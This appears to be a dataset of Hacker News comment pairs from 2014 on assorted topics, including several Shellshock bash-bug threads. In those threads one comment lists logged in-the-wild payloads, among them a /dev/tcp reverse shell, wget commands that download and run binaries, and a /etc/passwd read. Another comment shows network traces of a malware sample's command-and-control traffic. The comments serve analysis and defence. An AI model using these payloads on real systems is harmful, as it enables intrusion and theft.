| dude has had an interesting life. bio from his webpage:michaels career, not only as an artist, is a rather unusual one: born in 1969 in vienna, he got interested in technology, especially electronics and mathematics, already when 7 years old. at the age of 12 he worked as a programmer. he quit school at 17 and started his first own business in the financial field, publishing analysis on the financial markets and managing funds, until he sold his business at the age of 23. the following 3 years he spent climbing and hiking in africa, usa, asia, and all over europe. from 1995 on he was the publisher of werk-zeug, a technology and art magazine, as well as streetfashion, a magazine featuring fashionable people on the streets all over the world. he was also active in the field of software development, is the originator of many inventions, and holds international patents ranging from climbing equipment and bicycle gears to trading systems and electronic payment systems. already in 2001, michael decided to sell his companies to start his career in arts and works as he calls it. in the very same year though, he started a side business on ebay that eventually became the world's largest powerselling enterprise on ebay, a company with 80 employees and a turnover of 30 million euros a year. in early 2005, the company went bankrupt, and michael lost all his money in the process. never shying away from new challenges, he decided to write a book about the company and its end: english and german versions of "the end of ebay" are available through amazon here. qentis' bankruptcy also had its good sides: finally, michael could concentrate on his art and private studies. michael’s works are the result of a rich live and a long history of ideas. the artist about his work: "there is no way to (mate)realize all the plans and projects i have on my mind in one lifetime- i can only pick the best and feasible". his work touches a broad variety of fields such as technology, politics, science, social topics, and style. | cute project, but since it isn't actually hooked up to live trading, i'm going to suspect that they're not actually dealing with the issues which would keep them from making a profit on those trades: trading fees, losses going into the bid-ask spread, the fact that large enough purchases actually move the market, and the fact that the crash which wipes you out can come along on years later just when the victories of the past few years made you think you had everything figured out.simulated trading is all well and good for the long-term buy-and-hold sort of trading where you can assume you're a medium-small-sized fish in a huge pond and these errors are inconsequential, but with ultra-short-term trading like this the texture of the market matters a lot more.that said, if you're a day trader of some sort trying to compete with the task the rat has been assigned to do, there's a very much elevated chance that you're in the wrong business. |
art project: train rats to trade markets
| cute project, but since it isn't actually hooked up to live trading, i'm going to suspect that they're not actually dealing with the issues which would keep them from making a profit on those trades: trading fees, losses going into the bid-ask spread, the fact that large enough purchases actually move the market, and the fact that the crash which wipes you out can come along on years later just when the victories of the past few years made you think you had everything figured out.simulated trading is all well and good for the long-term buy-and-hold sort of trading where you can assume you're a medium-small-sized fish in a huge pond and these errors are inconsequential, but with ultra-short-term trading like this the texture of the market matters a lot more.that said, if you're a day trader of some sort trying to compete with the task the rat has been assigned to do, there's a very much elevated chance that you're in the wrong business. | the obvious next step is to try the same with voles, shrews, etc., and start a hedge fund that is actually located in a hedge. |
art project: train rats to trade markets
| the obvious next step is to try the same with voles, shrews, etc., and start a hedge fund that is actually located in a hedge. | was the training and price input necessary at all?doesn't random generator outperform some hedgefunds? |
art project: train rats to trade markets
| was the training and price input necessary at all?doesn't random generator outperform some hedgefunds? | i seem to recall that the most likely predictor of whether the next tick in a liquid market will be up or down, is whether the last tick was up or down.in other words, if the last tick was upwards, there is a >50% chance that the next tick will be upwards too.a quick'n'dirty google search turned up some research: <link> at the ticker tracks the artist has used, i wouldn't be surprised if the rats are effectively being trained to buy when they hear high-pitched notes, and sell when they hear low-pitched ones. |
shellshock exploited in the wild: kernel exploit with cnc component
| you know what would be super clever?discovering a case where wget shells out to bash while setting some env vars based on received headers. and then anonymously posting a supposed shellshock payload just begging to be downloaded with wget. | which kernel exploit are they using? one of the old ones or is it a zero day?this information is, frankly, more interesting than the fact that shellshock is being exploited in the wild. really, it was only a matter of time. |
shellshock exploited in the wild: kernel exploit with cnc component
| which kernel exploit are they using? one of the old ones or is it a zero day?this information is, frankly, more interesting than the fact that shellshock is being exploited in the wild. really, it was only a matter of time. | interesting.i ran the "nginx" binary thru strace in a vagrant vm and got some connection attempts to a clouldflare ipconnect(3, {sa_family=af_inet, sin_port=htons(80), sin_addr=inet_addr("108.162.197.26")}, 16) = 0but didn't see anything interesting being sent there... my tcpdump output showed it connects to a http server at 89.238.150.154:5 and exchanges some data theresent >>> build x86recv >>> !* httprecv >>> 190.93.240.15,190.93.241.15,141.101.112.16,190.93.243.15,190.93.242.15 pastebin.com /4hq2w4az 80 2recv >>> pingsent >>> pongthen it just goes to do ping/pong with the same server. at one point the process forks a separate process of itself and dies...the pastebin link leads to an uploadcash.org file named hermoine_granger_jpg.jpg which i can assume is a payload of somekind... |
shellshock exploited in the wild: kernel exploit with cnc component
| interesting.i ran the "nginx" binary thru strace in a vagrant vm and got some connection attempts to a clouldflare ipconnect(3, {sa_family=af_inet, sin_port=htons(80), sin_addr=inet_addr("108.162.197.26")}, 16) = 0but didn't see anything interesting being sent there... my tcpdump output showed it connects to a http server at 89.238.150.154:5 and exchanges some data theresent >>> build x86recv >>> !* httprecv >>> 190.93.240.15,190.93.241.15,141.101.112.16,190.93.243.15,190.93.242.15 pastebin.com /4hq2w4az 80 2recv >>> pingsent >>> pongthen it just goes to do ping/pong with the same server. at one point the process forks a separate process of itself and dies...the pastebin link leads to an uploadcash.org file named hermoine_granger_jpg.jpg which i can assume is a payload of somekind... | could someone explain to me if what i think this gist shows is correct?a get request is sent to the server with additional commands added to the content, which creates the file ./tmp/besh whose content comes from the ngix file from <link> the executable flag is set and then the file gets executed.the next three commands show information about the downloaded nginx file (check sums, file command info). for what reason? is the file really an nginx server or is it just named like this to show that nginx is exploitable? i know that this is basically about the bash exploit, right?thanks |
shellshock exploited in the wild: kernel exploit with cnc component
| could someone explain to me if what i think this gist shows is correct?a get request is sent to the server with additional commands added to the content, which creates the file ./tmp/besh whose content comes from the ngix file from <link> the executable flag is set and then the file gets executed.the next three commands show information about the downloaded nginx file (check sums, file command info). for what reason? is the file really an nginx server or is it just named like this to show that nginx is exploitable? i know that this is basically about the bash exploit, right?thanks | where is the kernel exploit in this? whats so kernel about some script which probably just replaces nginx with a malwared one? |
quick notes about the bash bug, its impact, and the fixes so far
| i thought the patch wasn't that effective? is there a poc that runs on a patched system anymore?edit: found one <link> | reminds me of this:"nobody really knows what the bourne shell's grammar is. even examination of the source code is little help." — tom duff<link> like a time-bomb for exploitable unexpected behavior. |
quick notes about the bash bug, its impact, and the fixes so far
| reminds me of this:"nobody really knows what the bourne shell's grammar is. even examination of the source code is little help." — tom duff<link> like a time-bomb for exploitable unexpected behavior. | so has a new patch come out? i hacked up a temporary patch that fixes this last night after the new poc was released, but i'd rather have something from upstream. |
quick notes about the bash bug, its impact, and the fixes so far
| so has a new patch come out? i hacked up a temporary patch that fixes this last night after the new poc was released, but i'd rather have something from upstream. | this is a perfect example of why you should never, ever put special magical values in-band with a facility which has a different purpose normally.i know it's tempting and in many cases, it will save you a lot of work, but it will eventually lead to data corruption, or, way worse, a problem like this one here.people in the office complain about my annoyed remarks when they succumb to the dark side and use some special values. my question "but what if a real value is ever sent that looks like one of these magic values?" is usually countered with "but who's ever going to send this value?".this bug here is providing me with a perfect answer to that question: "security researchers, or worse, bad guys".there are so many ways of transferring functions to subshells that don't involve magic values in a free-form key/value store, but all of them would have been more complicated, so people chose the quick hack.and now the sh*t has hit the fan :( |
quick notes about the bash bug, its impact, and the fixes so far
| this is a perfect example of why you should never, ever put special magical values in-band with a facility which has a different purpose normally.i know it's tempting and in many cases, it will save you a lot of work, but it will eventually lead to data corruption, or, way worse, a problem like this one here.people in the office complain about my annoyed remarks when they succumb to the dark side and use some special values. my question "but what if a real value is ever sent that looks like one of these magic values?" is usually countered with "but who's ever going to send this value?".this bug here is providing me with a perfect answer to that question: "security researchers, or worse, bad guys".there are so many ways of transferring functions to subshells that don't involve magic values in a free-form key/value store, but all of them would have been more complicated, so people chose the quick hack.and now the sh*t has hit the fan :( | so only servers actually executing bash with input from browser (cookies etc) are affected (like cgi)? |
show hn: keyboards club
| suggested name: virtual keyboards club. | anybody else uncomfortable with the fact that these drop-in keyboard replacements are effectively sanctioned keyloggers that send keystrokes to a remote server? |
show hn: keyboards club
| anybody else uncomfortable with the fact that these drop-in keyboard replacements are effectively sanctioned keyloggers that send keystrokes to a remote server? | for android, i really like swiftkey, and have been using it for years. its predictions are very accurate and it (un)learns very quickly.but since the last updates (maybe when they added emojis? i'm not sure) it has become laggy and unresponsive, sometimes i end typing a phrase and have to wait several seconds while i see the text painfully appearing one letter at a time in the screen. also there is a period of 1-2 seconds after i send a message when i can't press any key, as it will be ignored. i don't use flow.however, it has something that i can't find in any other keyboard: two simultaneous languages. every keyboard allows to select several languages and change between them, but in swiftkey they work at the same time and you can use both seamlessly, and for me that's irreplaceable. |
show hn: keyboards club
| for android, i really like swiftkey, and have been using it for years. its predictions are very accurate and it (un)learns very quickly.but since the last updates (maybe when they added emojis? i'm not sure) it has become laggy and unresponsive, sometimes i end typing a phrase and have to wait several seconds while i see the text painfully appearing one letter at a time in the screen. also there is a period of 1-2 seconds after i send a message when i can't press any key, as it will be ignored. i don't use flow.however, it has something that i can't find in any other keyboard: two simultaneous languages. every keyboard allows to select several languages and change between them, but in swiftkey they work at the same time and you can use both seamlessly, and for me that's irreplaceable. | slightly ot: i installed swiftkey (currently the top option under ios on this website), and i really like the concept (would at least like to try it out, even though i've developed a pretty good proficiency with two-thumb typing), but i don't like the fact that it's hard to re-do/correct the last word. i can either type slowly, which defeats the point of the keyboard, or type quickly and have to do the slow process of backspacing the last word and re-swiping it (which slows you down a lot).is there some magic gesture i'm missing, or is there a different third-party keyboard that has a similar idea but is better in this regard? i'm tempted to pay the $1 for swype but i don't want to bother to do that and then discover it has similar problems. |
show hn: keyboards club
| slightly ot: i installed swiftkey (currently the top option under ios on this website), and i really like the concept (would at least like to try it out, even though i've developed a pretty good proficiency with two-thumb typing), but i don't like the fact that it's hard to re-do/correct the last word. i can either type slowly, which defeats the point of the keyboard, or type quickly and have to do the slow process of backspacing the last word and re-swiping it (which slows you down a lot).is there some magic gesture i'm missing, or is there a different third-party keyboard that has a similar idea but is better in this regard? i'm tempted to pay the $1 for swype but i don't want to bother to do that and then discover it has similar problems. | no love for the hacker's keyboard (android)? it's invaluably helpful for sending ascii control characters (when on an ssh session, for instance).<link> |
scorpion brings the stupidest, most batshit insane hacker scene ever
| on the other end of the spectrum, while still simplified and exaggerated, there is "person of interest".they _must_ have some decent technical consultants for the show because they rarely do the hollywood style of ui and everything has a certain consistency throughout the production. they take technology terms and mostly use them correctly - most recently building a "mesh network" over nyc for private voip communication with "rolling encryption" using existing uhf tv antennae on rooftops (uhf covering up to 3ghz - standard wifi being 2.4ghz).could that actually be done? dunno, maybe - probably not as simply or quickly as shown, but still, it shows effort. | hardly surprising when you consider this is the executive producer of the show:<link> |
scorpion brings the stupidest, most batshit insane hacker scene ever
| hardly surprising when you consider this is the executive producer of the show:<link> | and this, kids, is why we desperately need to teach computing in school. |
scorpion brings the stupidest, most batshit insane hacker scene ever
| and this, kids, is why we desperately need to teach computing in school. | well, in the promos they showed briefly somebody pointing at a kid playing chess against somebody saying "kid's a genius; he's checkmated a chess master in 8 moves", which is beyond ridiculous even against a coffee player. |
scorpion brings the stupidest, most batshit insane hacker scene ever
| well, in the promos they showed briefly somebody pointing at a kid playing chess against somebody saying "kid's a genius; he's checkmated a chess master in 8 moves", which is beyond ridiculous even against a coffee player. | haha, i just tried to post this. i going to check if it was already posted but i figured hn had that part figured out to avoid duplicates. just took me right to this post, solid solution.anyway, thought this was hilarious. the video is so nuts that i think it is a little funnier if you read the little writeup first. just to give context to why they are hanging an ethernet cable out of the bottom of a 747. :) |
ask hn: good ideas to defend against the bash rce?
hoping to create a discussion here on ideas on how to defend against the current bash rce. probably just a subset of existing "best practices" that are particularly relevant for the current attack vector for the bash rce. recommend keeping posts to one recommendation per post so that the best can filter up/down individually rather than as a set. | block outbound request from publicly accessible servers (or white list them if necessary).this would make it harder for attackers to fetch/install more tools. | make sure tripwire is installed/configured/monitored.watch for unexpected changes to public servers. |
ask hn: good ideas to defend against the bash rce?
hoping to create a discussion here on ideas on how to defend against the current bash rce. probably just a subset of existing "best practices" that are particularly relevant for the current attack vector for the bash rce. recommend keeping posts to one recommendation per post so that the best can filter up/down individually rather than as a set. | make sure tripwire is installed/configured/monitored.watch for unexpected changes to public servers. | suggestions to lock down applications to least privileges and to set up monitoring on servers are a good idea, but they're not going to help that much here. you should operate under the assumption that an attacker who gets any code exec on your machine under any uid is going to have root, usually milliseconds later. |
ask hn: good ideas to defend against the bash rce?
hoping to create a discussion here on ideas on how to defend against the current bash rce. probably just a subset of existing "best practices" that are particularly relevant for the current attack vector for the bash rce. recommend keeping posts to one recommendation per post so that the best can filter up/down individually rather than as a set. | suggestions to lock down applications to least privileges and to set up monitoring on servers are a good idea, but they're not going to help that much here. you should operate under the assumption that an attacker who gets any code exec on your machine under any uid is going to have root, usually milliseconds later. | run externally accessible applications under a user id with no login and no ownership of the application files it's running. make sure that the euid of the process can only write to the specific areas of the system that are absolutely necessary. this would help quarantine the system impact of remote code execution like this. |
ask hn: good ideas to defend against the bash rce?
hoping to create a discussion here on ideas on how to defend against the current bash rce. probably just a subset of existing "best practices" that are particularly relevant for the current attack vector for the bash rce. recommend keeping posts to one recommendation per post so that the best can filter up/down individually rather than as a set. | run externally accessible applications under a user id with no login and no ownership of the application files it's running. make sure that the euid of the process can only write to the specific areas of the system that are absolutely necessary. this would help quarantine the system impact of remote code execution like this. | 1. patch or otherwise fix bash.2. understand the chain of how environment variable values might flow through your web stack. eliminate them. |
landing page in a day – get a custom landing page that converts
| i like the idea of offering the service for a flat fee. the "before/after" section is cool, too - although it reminds me of the "lose 20 pounds in 2 weeks" ads i see on facebook :-)this is productized consulting at its best. | i would like to create a landing page service using your landing page in a day service. when you design my landing page service page, please make it read "landing page in half a day". the cost will be $999. |
landing page in a day – get a custom landing page that converts
| i would like to create a landing page service using your landing page in a day service. when you design my landing page service page, please make it read "landing page in half a day". the cost will be $999. | i've found that landing pages are less of a design issue and more of a messaging issue, although having something attractive is certainly nice to have. if you're largely taking existing headlines and making them look nicer, you're missing greater opportunities for improvement.i also don't think saying you get 10% - 17% conversion rates resonates at all. a lot depends on what you're optimizing for. i have landing pages that can routinely convert 70-75%, but that's a first step optimization for click-thru, not sale. i think it's best not to pigeon-hole yourself into a range and instead just say "i've increased conversions by x%". |
landing page in a day – get a custom landing page that converts
| i've found that landing pages are less of a design issue and more of a messaging issue, although having something attractive is certainly nice to have. if you're largely taking existing headlines and making them look nicer, you're missing greater opportunities for improvement.i also don't think saying you get 10% - 17% conversion rates resonates at all. a lot depends on what you're optimizing for. i have landing pages that can routinely convert 70-75%, but that's a first step optimization for click-thru, not sale. i think it's best not to pigeon-hole yourself into a range and instead just say "i've increased conversions by x%". | $1000 is a a huge amount of money to pay for a landing page when you can just buy a template for $5 (or get one for free?) and get a similarly nice-looking page in more or less the same amount of time, no? |
landing page in a day – get a custom landing page that converts
| $1000 is a a huge amount of money to pay for a landing page when you can just buy a template for $5 (or get one for free?) and get a similarly nice-looking page in more or less the same amount of time, no? | $1000 is a huge amount of money for what looks like a very basic landing page. in my opinion it would be better to just shell out $150 for the designmodo's startup framework, <link> and spend an afternoon tailoring it to your needs. |
everything you need to know about the shellshock bash bug
| read a bit about this because i didn't understand cgi. tl;dr version of what's going on here, if i'm not mistaken (assuming apache/php for this example):1. web server (apache) gets request to route to cgi script (php)2. per the cgi spec, apache passes the request body to php as stdin & sets the http headers as environment variables, so php can access them3. in the php script, `exec`/`passthru`/`shell_exec` etc. is called to do something in the shell/on the system level. this spawns a new shell (which may be bash)4. bash interprets the environment variables set by apachethe rub lies in step 4: when bash interprets an environment variable called `http_user_agent` containing the value `() { :;}; /bin/ping -c 1 198.x.x.x` it "gets confused" & interprets that first part (before the second semicolon) as a function, then executes the second part as wellhopefully this answers the "how does the exploit get from the browser to bash?"further question: "if i do not use exec/shell_exec/popen etc, am i still vulnerable (just by virtue of using mod_php)?" afaict no, but i am not really sure (i hope someone clears this up).additional note about php: disabling all these passthru type functions has been recommended for years: <link> | since the post is relatively non-technical, i'd like to underscore that there are substantial concerns with the original and the followup patch, because with or without it, the underlying bash code parser is still exposed to the internet. nobody has posted an rce vector that would be universally bad for the patched version, but several people have already identified "hmm, that's unexpected" types of global side effects when attacker-controlled strings are parsed as functions by bash. more is likely to come.as of today, based on our conversations on oss-security, there is a third, unofficial patch that takes a much saner approach of isolating exported functions in a distinct namespace:<link> in high-value or high-risk scenarios, you may want to give it a try. and if you're interested in the reasons why the original patch is problematic, check out:<link> |
everything you need to know about the shellshock bash bug
| since the post is relatively non-technical, i'd like to underscore that there are substantial concerns with the original and the followup patch, because with or without it, the underlying bash code parser is still exposed to the internet. nobody has posted an rce vector that would be universally bad for the patched version, but several people have already identified "hmm, that's unexpected" types of global side effects when attacker-controlled strings are parsed as functions by bash. more is likely to come.as of today, based on our conversations on oss-security, there is a third, unofficial patch that takes a much saner approach of isolating exported functions in a distinct namespace:<link> in high-value or high-risk scenarios, you may want to give it a try. and if you're interested in the reasons why the original patch is problematic, check out:<link> | skimming this post, it appears to only reference cve-2014-6271 and not cve-2014-7169, so probably not 'everything you need to know'.(searching for '=>' doesn't show anything, which i would expect it to if -7169 was mentioned.) |
everything you need to know about the shellshock bash bug
| skimming this post, it appears to only reference cve-2014-6271 and not cve-2014-7169, so probably not 'everything you need to know'.(searching for '=>' doesn't show anything, which i would expect it to if -7169 was mentioned.) | folks, for what it's worth, here is a management briefing i wrote this morning. please feel free to re-use, but please do give proper attribution. please do comment and correct as appropriate.summary: briefing for management on activities to minimize impacts of the "shellshock" computer vulnerability.status: testing underway. initial appraisals are that public-facing systems are likely not subject to shellshock. note: the situation is fluid, due to the nature of the vulnerability. personnel are also reaching out to hosting providers to assess the status of intervening systems.what is it? a vulnerability in a command interpreter found on the vast majority of linux and unix systems, including web servers, development machines, routers, firewalls, etc. the vulnerability could allow an anonymous attacker to execute arbitrary commands remotely, and to obtain the results of these commands via their browser. the security community has nicknamed the vulnerability "shellshock" since it affects computer command interpreters known as shells.how does it work? command interpreters, or "shells", are the computer components that allow users to type and execute computer commands. anytime a user works in a terminal window, they are using a command interpreter - think of the dos command prompt. some gui applications, especially administrative applications, are in fact just graphical interfaces to command interpreters. the most common command interpreter on linux and unix is known as the "bash shell". within the last several days, security researchers discovered that a serious vulnerability has been present in the vast majority of instances of bash for the last twenty years. this vulnerability allows an attacker with access to a bash shell to execute arbitrary commands. because many web servers use system command interpreters to fulfill user requests, attackers need not have physical access to a system: the ability to issue web requests, using their browser or commonly-available command line tools, may be enough.how bad could it be? very, very bad. the vulnerability may exist on the vast majority of linux and unix systems shipped over the last 20 years, including web servers, development machines, routers, firewalls, other network appliances, printers, mac osx computers, android phones, and possibly iphones (note: it has yet to be established that smartphones are affected, but given that android and ios are variants of linus and unix, respectively, it would be premature to exclude them). furthermore, many such systems have web-based administrative interfaces: while many of these machines do not provide a "web server" in the sense of a server providing content of interest to the casual or "normal" user, many do provide web-based interfaces for diagnotics and administration. any such system that provides dynamic content using system utilities may be vulnerable.what is the primary risk? there are two, data loss and system modification. by allowing an attacker to execute arbitrary commands, the shellshock vulnerability may allow the attacker to both obtain data from a system and to make changes to system configuration. there is also a third risk, that of using affected systems to launch attacks against other systems, so-called "reflector" attacks: the arbitrary command specified by the attacker could be to direct a network utility against a third machine.how easy is it to detect the vulnerability? surprising easily: a single command executed using ubiquitous system tools will reveal whether any particular web device or web server is vulnerable.what are we doing? technical personnel are using these commands to test all web servers and other devices we manage and are working with hosting providers to ensure that all devices upon which we depend have been tested. when devices are determined to be vulnerable, a determination is made whether they should be left alone (e.g., if they are not public facing and patches are either not yet available or would be disruptive at this time, or if there are other mitigations or safeguards in place), patched (e.g., if patches are available and are low impact), or turned off (e.g., if patches are not available, risk is high, and the service is not mandate critical).updates to this briefing will provided as the situation develops. |
everything you need to know about the shellshock bash bug
| folks, for what it's worth, here is a management briefing i wrote this morning. please feel free to re-use, but please do give proper attribution. please do comment and correct as appropriate.summary: briefing for management on activities to minimize impacts of the "shellshock" computer vulnerability.status: testing underway. initial appraisals are that public-facing systems are likely not subject to shellshock. note: the situation is fluid, due to the nature of the vulnerability. personnel are also reaching out to hosting providers to assess the status of intervening systems.what is it? a vulnerability in a command interpreter found on the vast majority of linux and unix systems, including web servers, development machines, routers, firewalls, etc. the vulnerability could allow an anonymous attacker to execute arbitrary commands remotely, and to obtain the results of these commands via their browser. the security community has nicknamed the vulnerability "shellshock" since it affects computer command interpreters known as shells.how does it work? command interpreters, or "shells", are the computer components that allow users to type and execute computer commands. anytime a user works in a terminal window, they are using a command interpreter - think of the dos command prompt. some gui applications, especially administrative applications, are in fact just graphical interfaces to command interpreters. the most common command interpreter on linux and unix is known as the "bash shell". within the last several days, security researchers discovered that a serious vulnerability has been present in the vast majority of instances of bash for the last twenty years. this vulnerability allows an attacker with access to a bash shell to execute arbitrary commands. because many web servers use system command interpreters to fulfill user requests, attackers need not have physical access to a system: the ability to issue web requests, using their browser or commonly-available command line tools, may be enough.how bad could it be? very, very bad. the vulnerability may exist on the vast majority of linux and unix systems shipped over the last 20 years, including web servers, development machines, routers, firewalls, other network appliances, printers, mac osx computers, android phones, and possibly iphones (note: it has yet to be established that smartphones are affected, but given that android and ios are variants of linus and unix, respectively, it would be premature to exclude them). furthermore, many such systems have web-based administrative interfaces: while many of these machines do not provide a "web server" in the sense of a server providing content of interest to the casual or "normal" user, many do provide web-based interfaces for diagnotics and administration. any such system that provides dynamic content using system utilities may be vulnerable.what is the primary risk? there are two, data loss and system modification. by allowing an attacker to execute arbitrary commands, the shellshock vulnerability may allow the attacker to both obtain data from a system and to make changes to system configuration. there is also a third risk, that of using affected systems to launch attacks against other systems, so-called "reflector" attacks: the arbitrary command specified by the attacker could be to direct a network utility against a third machine.how easy is it to detect the vulnerability? surprising easily: a single command executed using ubiquitous system tools will reveal whether any particular web device or web server is vulnerable.what are we doing? technical personnel are using these commands to test all web servers and other devices we manage and are working with hosting providers to ensure that all devices upon which we depend have been tested. when devices are determined to be vulnerable, a determination is made whether they should be left alone (e.g., if they are not public facing and patches are either not yet available or would be disruptive at this time, or if there are other mitigations or safeguards in place), patched (e.g., if patches are available and are low impact), or turned off (e.g., if patches are not available, risk is high, and the service is not mandate critical).updates to this briefing will provided as the situation develops. | this is being actively exploited. we (cloudflare) put in place waf rules to block the exploit yesterday and i've been looking at the log files for the blocking to see what's going on. have been seeing things like: () { :;}; /bin/ping -c 1 198.x.x.x
() { :;}; echo shellshock-scan > /dev/udp/example.com/1234
() { ignored;};/bin/bash -i >& /dev/tcp/104.x.x.x/80 0>&1
() { test;};/usr/bin/wget <link> -o ~/cgi-bin/file.mp3
() { :; }; /usr/bin/curl -a xxxx <link>
() { :; }; /usr/bin/wget <link>
() { :;}; echo content-type:text/plain;echo;/bin/cat /etc/passwd
() { :; }; /bin/bash -c "if [ $(/bin/uname -m | /bin/grep 64) ]; then /usr/bin/wget 82.x.x.x:1234/v64 -o /tmp/.osock; else /usr/bin/wget 82.x.x.x:1234/v -o /tmp/.osock; fi; /bin/chmod 777 /tmp/.osock; /tmp/.osock &
if you are one of our (paying) customers the rules to block this exploit are enabled automatically. |
make in india
| i cannot speak for other industries but india is pretty unfriendly for web startups. the reserve bank of india has the worst policies when it comes to it companies.1) in india, you cannot create recurring subscriptions as the rbi prohibits charging the credit card automatically. not one indian payment processor (i've talked to a many) gives you the option to create recurring subscriptions. can you imagine where half the internet companies will be if you could not create recurring subscriptions?2) add to that, paypal to paypal transfer within india is prohibited by rbi. why? because certain people used to evade tax by purchasing goods directly with their paypal balance. so, instead of catching the tax evaders the govt. of india found it easier to ban the whole thing. | usability issues aside (that faq is ridiculous), this site is a step in the right direction.i've been looking for a way to be handloomed textiles for some time and this website helps find all the government agencies, but then each of their sites are hopelessly broken.i've encountered bad links, broken pages, email bounce backs and a woeful lack of information. however if they upgrade those sites to the quality level of this one, then business in india really will be easier. |
make in india
| usability issues aside (that faq is ridiculous), this site is a step in the right direction.i've been looking for a way to be handloomed textiles for some time and this website helps find all the government agencies, but then each of their sites are hopelessly broken.i've encountered bad links, broken pages, email bounce backs and a woeful lack of information. however if they upgrade those sites to the quality level of this one, then business in india really will be easier. | summary about the new initiative:- act as reference point for guiding foreign investors on all aspects of regulatory and policy issues and to assist them in obtaining regulatory clearances- simplify and reduce the burden of compliance on investors- transform the economy from the services-driven growth model to labour-intensive manufacturing-driven growth.- aims to attract foreign companies to set up factories in india and invest in the country's infrastructure.- the new government has liberalised defense manufacturing and insurance sectors to attract fdi, but analysts say the government needs to do much more to attract foreign capital.- sectors like automobiles, chemicals, it, pharmaceuticals, textiles, ports, aviation, leather, tourism and hospitality, wellness, railways among others will provide details of growth drivers, investment opportunities, sector specific fdi and other policies and related agencies.source : <link> |
make in india
| summary about the new initiative:- act as reference point for guiding foreign investors on all aspects of regulatory and policy issues and to assist them in obtaining regulatory clearances- simplify and reduce the burden of compliance on investors- transform the economy from the services-driven growth model to labour-intensive manufacturing-driven growth.- aims to attract foreign companies to set up factories in india and invest in the country's infrastructure.- the new government has liberalised defense manufacturing and insurance sectors to attract fdi, but analysts say the government needs to do much more to attract foreign capital.- sectors like automobiles, chemicals, it, pharmaceuticals, textiles, ports, aviation, leather, tourism and hospitality, wellness, railways among others will provide details of growth drivers, investment opportunities, sector specific fdi and other policies and related agencies.source : <link> | india has very cheap labor so you might save some costs on that front. however there are many deep-rooted infrastructure issues that need to be overcome:industries need un-innterupted power. there are massive power shortages already.mass production requires good road & rail connectivity - the state of roadways in india is patheticfreedom to hire (and fire) people - 1950s era socialist labor laws are abundant in indiapervasive cancerous corruption at every conceivable levelwhile a laudable concept & initiative by the modi govt. - first he needs to fix a few things in the country |
make in india
| india has very cheap labor so you might save some costs on that front. however there are many deep-rooted infrastructure issues that need to be overcome:industries need un-innterupted power. there are massive power shortages already.mass production requires good road & rail connectivity - the state of roadways in india is patheticfreedom to hire (and fire) people - 1950s era socialist labor laws are abundant in indiapervasive cancerous corruption at every conceivable levelwhile a laudable concept & initiative by the modi govt. - first he needs to fix a few things in the country | if it weren't for one of the comments here, i would have absolutely no idea what this is about. really poorly designed. faq should be a list of questions.i can guess but not entirely sure who this is from. |
micro python store is now open and taking pre-orders
| i can get a full raspberry pi for less than one of these though and run linux with python. seems less useful/practical for a hobbyist. | python for embedded? how micro is micro? what kind of memory footprint are we talking about compared to c?
garbage collection on an embedded controller? |
micro python store is now open and taking pre-orders
| python for embedded? how micro is micro? what kind of memory footprint are we talking about compared to c?
garbage collection on an embedded controller? | this is way cool for weekend hackers. i think i'm most excited about the python prompt. using arduinos, writing code, compiling and uploading just to debug an input is super annoying. a live console is way cool. |
micro python store is now open and taking pre-orders
| this is way cool for weekend hackers. i think i'm most excited about the python prompt. using arduinos, writing code, compiling and uploading just to debug an input is super annoying. a live console is way cool. | i wish there was more detailed technical information on the page. i've been trying to figure out how precise the timer is, or at what frequency you can read from the pins. the answer seems to be provided on pages 112+ in the datasheet of the micro controller, but in a not very easy to understand format for the aspiring programmer without ee knowledge.<link> |
micro python store is now open and taking pre-orders
| i wish there was more detailed technical information on the page. i've been trying to figure out how precise the timer is, or at what frequency you can read from the pins. the answer seems to be provided on pages 112+ in the datasheet of the micro controller, but in a not very easy to understand format for the aspiring programmer without ee knowledge.<link> | i have one of these. it's great, especially because you can just fire up a serial session to it and get a repl.here's a little video: <link> |
how i organise a large project
| a large project? i'm not sure what's particularly large about this. perhaps it should be "how i organize a project i'm going to have running on a server at some point"? | imo, it's better to keep all components separated in their own repos for any project which can really be described as 'large'.what if, for example, you completely rewrite your backend system without changing its api spec at all? having the history of the backend and mobile app linked becomes a bit odd at this point.what if you're using a system which deploys your repo? it may expect certain things to be in the root of the repo, and you certainly don't want your mobile app code to end up on your application servers.honestly, i'm not really aware of any instance where it is actually better to lump together multiple parts of a system into one repository. maybe you made some bad architectural decisions which makes it easier to do so, but i don't consider that 'better'. |
how i organise a large project
| imo, it's better to keep all components separated in their own repos for any project which can really be described as 'large'.what if, for example, you completely rewrite your backend system without changing its api spec at all? having the history of the backend and mobile app linked becomes a bit odd at this point.what if you're using a system which deploys your repo? it may expect certain things to be in the root of the repo, and you certainly don't want your mobile app code to end up on your application servers.honestly, i'm not really aware of any instance where it is actually better to lump together multiple parts of a system into one repository. maybe you made some bad architectural decisions which makes it easier to do so, but i don't consider that 'better'. | this looks somewhat similar to what we're doing at my current job. we've writing apis for our internal systems to decouple things a bit, and have ended up with a frontend router, a "middle-end" message queue and backend scripts to do the processing.however, our vagrant setup just took a massive turn for the worse: due to some compatability issues, these vms have now all been hooked together using puppet! during provisioning, if the git repos for the other machines aren't checked out to a particular location, everything dies; which seems like a really cargo-culty choice to me.i'd be interested in doing things like this with nix: disnix to define the relationships between the servers and nixops to define the vm provisioning. that may be because i'm a functional programming nut who's just switched to nixos though ;) |
how i organise a large project
| this looks somewhat similar to what we're doing at my current job. we've writing apis for our internal systems to decouple things a bit, and have ended up with a frontend router, a "middle-end" message queue and backend scripts to do the processing.however, our vagrant setup just took a massive turn for the worse: due to some compatability issues, these vms have now all been hooked together using puppet! during provisioning, if the git repos for the other machines aren't checked out to a particular location, everything dies; which seems like a really cargo-culty choice to me.i'd be interested in doing things like this with nix: disnix to define the relationships between the servers and nixops to define the vm provisioning. that may be because i'm a functional programming nut who's just switched to nixos though ;) | in the name of all corporate grunts, thanks for reminding of how subjective 'large' is... |
how i organise a large project
| in the name of all corporate grunts, thanks for reminding of how subjective 'large' is... | i've learned my lesson trying to structure "large projects" inside of a single "project" or logical repository.a developer i hired at one point had read an article written by someone in the oss community promulgating the virtues of treating your "projects" like oss projects and if you have a "large project" breaking it down into smaller constituent projects with their own source repository, dependency defs, readme's, tests, vagrant / docker environments etc...this fits well with the ideas behind small composable units of work and it also increases clarity.[edit] essentially, if you have a large project, it's probably time to re-think how you're coupling or de-coupling functional units. the goal being lots of small, documented, and tested units composed to create a "large software product". |
has linkedin lost control of its user email database?
